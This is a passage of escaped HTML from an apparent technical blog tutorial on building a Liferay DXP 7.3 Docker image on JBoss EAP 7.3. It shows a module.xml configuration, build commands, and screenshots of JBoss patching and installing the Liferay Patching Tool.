&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.memory.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.nio.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.process.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.reflect.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.sql.dsl.api.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.sql.dsl.spi.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.petra.string.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;com.liferay.registry.api.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;portal-kernel.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;portlet.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;hsql.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resource-root&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ojdbc8.jar&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;resources&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;dependencies&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.mail.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.servlet.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.servlet.jsp.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;javax.transaction.api&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;dependencies&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;module&lt;/span&gt;&lt;span class=&quot;mtk17&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 1 - Configuration of the module.xml file for Liferay 7.3&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point we should have all the required bundles at our disposal,
we can then proceed with the creation of the image. The expected result
it will be the Liferay DXP 7.3 GA1 image installed on JBoss EAP 7.3.&lt;/p&gt;&lt;p&gt;Assuming you have the &lt;strong&gt;liferay-docker&lt;/strong&gt; project extension in the form of a Git
repository (see 7. A real scenario), let&amp;#x27;s continue as indicated in Console 10
to get the new image.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;bash&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 1 Clone the liferay-docker repository and create a new Liferay image build branch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;#  - Replace the Git repository URL with your own&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git clone https://github.com/smclab/liferay-docker.git&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ git checkout -b build/liferay-dxp-7.3.10-ga1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 2 Preparing the directory that will contain the bundles for Liferay DXP 7.3 GA 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;cd&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; liferay-docker&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ cp -a ~/Downloads/bundles-dxp-73 &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Step 3 Running the image build process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;$ ./build_local_image.sh bundles-dxp-73 amusarra/liferay-dxp liferay-dxp-7.3.10-ga1 no-push jboss-eap&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Console 10 - Procedure for creating the Liferay DXP 7.3 image installed on JBoss EAP 7.3&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The first two figures below show you during the image creation process, patching
JBoss EAP 7.3 and installing Patching
Liferay tool.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/a3767/build-image-liferay-7.3-apply-jboss-patch.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:33%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;133\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20133\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2067v66h401V0H0v67m0%200\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/c85cb/build-image-liferay-7.3-apply-jboss-patch.webp 300w,/static/fdabf180b9ad49b40a97ec1e033729f5/e88ff/build-image-liferay-7.3-apply-jboss-patch.webp 600w,/static/fdabf180b9ad49b40a97ec1e033729f5/92f8c/build-image-liferay-7.3-apply-jboss-patch.webp 1200w,/static/fdabf180b9ad49b40a97ec1e033729f5/efe91/build-image-liferay-7.3-apply-jboss-patch.webp 1210w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/5a46d/build-image-liferay-7.3-apply-jboss-patch.png 300w,/static/fdabf180b9ad49b40a97ec1e033729f5/0a47e/build-image-liferay-7.3-apply-jboss-patch.png 600w,/static/fdabf180b9ad49b40a97ec1e033729f5/c1b63/build-image-liferay-7.3-apply-jboss-patch.png 1200w,/static/fdabf180b9ad49b40a97ec1e033729f5/a3767/build-image-liferay-7.3-apply-jboss-patch.png 1210w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 30 - Applying Patch 7.3.3 to JBoss EAP 7.3&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/fdabf180b9ad49b40a97ec1e033729f5/c1b63/build-image-liferay-7.3-apply-jboss-patch.png&quot; title=&quot;Figure 30 - Applying Patch 7.3.3 to JBoss EAP 7.3&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 30 - Applying Patch 7.3.3 to JBoss EAP 7.3&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/17d12/build-image-liferay-7.3-install-patching-tool.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:17.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;70\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2070\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2035v35h401V0H0v35m0%201a227%20227%200%20002%2025c0%203%204%203%204%200%200-1%200-2-1-1v1l-1%201-1-1-1-2-1-2h1l2%201%205-1%205-1c0-2-7-3-7-1H6c-1-2-2-2-3-1-2%201-2%201-2-1%200-1%201-2%204-2l4-2-4-1c-3%201-4%200-4-1s2-2%2012-2l9-1c0-2-3-2-5-1H1v-9h9l1-1%201-1%201%201c-1%201%200%201%201%201l7-1h1l3%201%202-2-6-1h-7L4%2032l-1%201v-3c-1%201-2%200-2-1l8-1%203-1-4-2H2c-1%201-1%201-1-1%200-1%200-2%202-1l4-1h8c2%201%203%201%206-1l2%201h1l1-2H6l-2-1c-3%200-3%200-3-9L0%2036M49%203c0%202%209%203%2010%201h1l4%201%203-1h1l6%201%207%201%201-1%201-2%201%201%202%201%202-2c0-1%200-2-1-1v1c1%202-1%201-3-1h-2l-2%201c0-2%200-2-1-1h-4c0-2-2-1-2%201h-1c-1-2-8-2-10-1h-1l-6-1c-5%200-6%201-6%202m54%200l-1%203%201-1h28l5-1c0-1%201-1%202%201%201%201%201%201%203-1l1-1c0%202%208%203%209%201h1l11%201%2010-1c-1-2-8-2-8-1h-3l-5-1h-6l-2%201c-1-1-5-2-4%200l-1%201-1-1c0-3-3-2-3%200h-2c-1-2-2-2-3-1h-2l-2%201-1%201c0-2-12-2-12-1h-1l-7-1h-6c-1-1-1%200-1%201M49%209c0%202%209%203%2010%201h1l4%201%203-1h1c1%201%2013%201%2015-1h1c0%203%204%203%204%200%200-1%200-2-1-1v1l-1%201-1-1c0-3-3-2-4%200h-1c0-2-2-3-2-1h-3c0-2-2-1-2%201h-1c0-2-9-2-10-1h-1l-6-1c-5%200-6%200-6%202m79-1l1%202h12l1%202h18l2-1%202-1-1-1-5-1h-2c-1-1-1-1-1%201h-1c-1-2-14-2-15%200h-1c0-1-8-2-10-1m-79%207c0%202%209%203%2010%201h9c1%201%2013%201%2015-1h1c0%203%204%203%204%200l-1-2-1%202v1l-1-1c0-2-2-2-4-1h-1l-1-1v2h-1c-2-2-5-2-5%200h-1c0-3-23-3-23%200m136%2010l-1%202c0%202%200%202%201%201%200-2%201-2%201-1h16l18%201h19c1%201%201%200%202-1h1c1%201%209%202%209%200l1-1%201%201%202%201%202-2c0-1%200-2-1-1v1c1%202-1%201-2-1h-3l-9-1c-1%200-2%200-2%202h-23l-1-2v2h-1l-7-1h-8c0%202-1%202-1%201l-6-1h-8M53%2054v4l21-1%203-1h1l5%201%205-1h11c1%202%209%202%2010%200l1-1%202%202c2%200%203%200%202-2%200-2%200-2-1-1%200%202-2%203-2%201l-1-2-2%201h-9l-2%201h-1l-2-1-3%201h-1c0-2-13-2-14%200h-1l-10-1H53\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/c85cb/build-image-liferay-7.3-install-patching-tool.webp 300w,/static/1db576d67d8cbc77aab8320e4dc0da96/e88ff/build-image-liferay-7.3-install-patching-tool.webp 600w,/static/1db576d67d8cbc77aab8320e4dc0da96/92f8c/build-image-liferay-7.3-install-patching-tool.webp 1200w,/static/1db576d67d8cbc77aab8320e4dc0da96/b6d17/build-image-liferay-7.3-install-patching-tool.webp 1666w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/5a46d/build-image-liferay-7.3-install-patching-tool.png 300w,/static/1db576d67d8cbc77aab8320e4dc0da96/0a47e/build-image-liferay-7.3-install-patching-tool.png 600w,/static/1db576d67d8cbc77aab8320e4dc0da96/c1b63/build-image-liferay-7.3-install-patching-tool.png 1200w,/static/1db576d67d8cbc77aab8320e4dc0da96/17d12/build-image-liferay-7.3-install-patching-tool.png 1666w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 31 - Installation of Patching Tool 2.0.15&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1db576d67d8cbc77aab8320e4dc0da96/c1b63/build-image-liferay-7.3-install-patching-tool.png&quot; title=&quot;Figure 31 - Installation of Patching Tool 2.0.15&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 31 - Installation of Patching Tool 2.0.15&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Using the &lt;code&gt;docker images&lt;/code&gt; command you can check for presence on the
newly created image system &lt;strong&gt;amusarra/liferay-dxp:liferay-dxp-7.3.10-ga1&lt;/strong&gt;.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c70b834e76fd5ea47797e45eb36c2659/0f529/docker-images-liferay-7.3.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:25%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;99\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2099\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2050a476%20476%200%20002%2047c0-2%203-3%203-1h1l2-1%202%201h1c1-1%201-1%201%201-1%201%200%202%201%202v-5l1%202c1%202%201%202%203%200%200-2%201-3%202-3l-1%203v3l2-2c-1-2%200-2%202-2l2%201h1c1-1%201-1%201%201-1%201%200%202%201%202v-5l1%203c1%203%203%203%202%200%200-2%200-2%201-1h1c1-1%201%200%201%201-1%202%200%202%202%202%203%200%203-2%200-2-4%200%203-2%209-2%205%200%206%200%206%202h-2l-1%201h-1c0%202%205%201%206-2%200-3%201-4%201%200l1%203v-2c0-2%203-4%206-2%202%201%202%202-2%203-2%201-2%201%202%201l5-1c0-2%200-3%202-3l1%202c-1%201%200%202%201%202v-5l1%202%201%201%201-1%202-1%201%202v2l1-3c0-1%200-2%201-1%200%202%202%203%202%201l3-1c3%200%203%200%203%202-1%202%200%202%205%202%207%200%207%200%206-2%200-3%202-4%204-1h4v-2l2%202%201%201v-1c0-2%201-2%203-2%203%200%203%200%203%203v2h60a799%20799%200%200060-3v-1c-1-1%200-1%204-1l5%201h15l4-1c3%200%203%201%201%203h-1c1-2%200-2-2%200h-2c-2%201-1%202%203%202s5%200%204-2c0-2%203-4%205-2h3c2%200%202%200%202%202-1%202-1%202%2014%202l15-1v-4c2-1%204%202%202%204l5%201c3%200%203%200%202-1-5%200-4-3%202-3%204%200%205%200%205%202h-1l-2%201c-1%201-1%201%202%201s3%200%202-2c0-2%200-3%202-3l4%201h2c2%200%202%200%202%202-1%202%200%202%202%202l2-2c0-2%201-2%205-2%205%200%205%200%205%202-1%202%200%202%2014%202h15v-5l2%202v2l1%201v-2c0-3%201-4%202-2h1l5-1c5%200%205%200%205%203-1%202-1%202%205%202h7V0H0v50m0%200c0%2034%201%2038%201%2015V30h5l6-1h12c0-2%200-2%201-1%202%203%204%202%204%200%200-1-1